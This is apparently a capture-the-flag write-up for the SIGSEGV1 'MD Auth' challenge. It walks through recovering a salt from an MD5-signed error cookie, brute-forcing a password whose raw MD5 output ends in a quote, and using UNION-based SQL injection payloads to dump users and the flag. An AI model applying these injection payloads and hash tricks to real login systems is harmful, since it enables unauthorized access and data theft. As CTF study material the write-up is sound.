SIGSEGV - MD Auth
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layout: post
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title: SIGSEGV1 Writeup - MD Auth
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---
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Let's talk about the "MD Auth" challenge, I admit I started with this challenge thinking it would be about "Markdown"/
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I was wrong but it was nonetheless interesting to solve.
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The source code of the index was available by requesting : http://finale-docker.rtfm.re:4444/?source
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{% highlight php%}
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```php
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<?php
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$_TITLE = 'MD Auth';
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$_LONGTITLE = 'MD Auth';
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$con = new SQLite3('mdauth.db');
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require 'config.php'; # 7-digit APP_SALT, MAX_ERRORS and check_errors()
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if(isset($_POST['login'], $_POST['password'])) {
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$errors = isset($_COOKIE['signed_errors']) ? check_errors($_COOKIE['signed_errors']) : 0;
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if($errors >= MAX_ERRORS) {
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presult('You have been banned for reaching '.MAX_ERRORS.' errors');
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} else {
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$login = $con->escapeString($_POST['login']);
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$hash = md5($con->escapeString(APP_SALT.$_POST['password']), true);
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$query = $con->query("SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'");
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if(!$query) $row=FALSE;
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else $row = $query->fetchArray();
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if($row !== FALSE&& $query->fetchArray() === FALSE) {
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presult("Welcome back {$row['login']}!");
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} else {
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presult('Wrong username/password combination!');
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setcookie('signed_errors', md5(APP_SALT.((string) ($errors+1))), time()+86400);
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}
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}
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```
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{% endhighlight %}
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At first I tried to access the database with my browser by requesting finale-docker.rtfm.re:4444/mdauth.db, unfortunately that didn't work. Let's dig deeper into the source code. We want to authenticate on the Web Application, maybe we can do an SQL injection inside the following query.
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{% highlight sql%}
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```sql
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SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'
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```
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{% endhighlight %}
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In order to exploit this, we need to bypass the `escapeString` function used for `$login` and `$hash`.
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{% highlight php%}
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```php
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$login = $con->escapeString($_POST['login']);
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$hash = md5($con->escapeString(APP_SALT.$_POST['password']), true);
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```
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{% endhighlight %}
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The `md5` function is called with the second argument set to `true`, meaning we will get a binary output instead of a hexadecimal one. We might be able to get a backslash in the binary output, but we need to know the `APP_SALT` value in order to do our offline bruteforce. The author of the challenge was kind enough to provide a way to get this secret by misusing the `cookie`.
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{% highlight php%}
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```php
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setcookie('signed_errors', md5(APP_SALT.((string) ($errors+1))), time()+86400);
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```
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{% endhighlight %}
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We can do a single failed attempt in order to get a cookie containing the md5(SALT+"1"), based on the comment in the code we know the SALT is between 0000000-9999999 (7-digit APP_SALT).
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I got `MD5:4322dfb1e9b20645594e9f3f6998845a` which correspond to the following `PLAIN:86203711`. We now have our APP_SALT value : 8620371. The following script will bruteforce the first 1000 numbers looking for a quote in the last char of the MD5 output.
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{% highlight python%}
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```python
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import requests
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import hashlib
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# md5 true : http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
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def computeMD5hash(my_string):
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m = hashlib.md5()
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m.update(my_string.encode('utf-8'))
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return m.digest()
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# Use the salt to find a string ending by "\"
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salt = "8620371"
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for i in range(1000):
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md5 = computeMD5hash(salt+str(i))
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if "\\" == md5[-1]:
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print(salt+str(i), i, md5)
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```
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{% endhighlight %}
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In my first attempt, I was looking for a backslash "\" in order to escape the single quote "'" from the query and use the login to complete the SQL injection.
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{% highlight sql%}
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```sql
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SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'
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SELECT login FROM users WHERE hash='GARBAGE\' and login=' OR 1=1--'
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```
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{% endhighlight %}
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It would have worked in a MySQL database, unfortunately we were in front of a SQLite one. The documentation and stackoverflow provided the useful information, escaping is done by doubling the quote.
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{% highlight sql%}
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```sql
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INSERT INTO table_name (field1, field2) VALUES (123, 'Hello there''s');
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```
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{% endhighlight %}
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I adjusted the script to check for a single quote and got the number `45`.
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{% highlight python%}
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```python
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salt = "8620371"
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for i in range(1000):
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md5 = computeMD5hash(salt+str(i))
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if "'" == md5[-1]:
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print(salt+str(i), i, md5)
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```
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{% endhighlight %}
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Now it's just a simple SQL injection, by using the following credential i was able to extract interesting data.
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{% highlight sql%}
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```sql
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login = "union all select hash from users limit 1--"
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password = "45"
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The query looked like "SELECT login FROM users WHERE hash='GARBAGE'' and login=' union all select hash from users limit 1--'"
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with hash='GARBAGE'' and login='
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```
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{% endhighlight %}
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I got the following users : `admin` and `flaggy`. Next step was to extract the flag from the database, it was located in the flag_field of the users.
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{% highlight bash%}
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```php
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union all select flag_field from users limit 2,1--
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Welcome back sigsegv{82e9f4a155b9b740b4ff37624429b031}!
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```
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{% endhighlight %}
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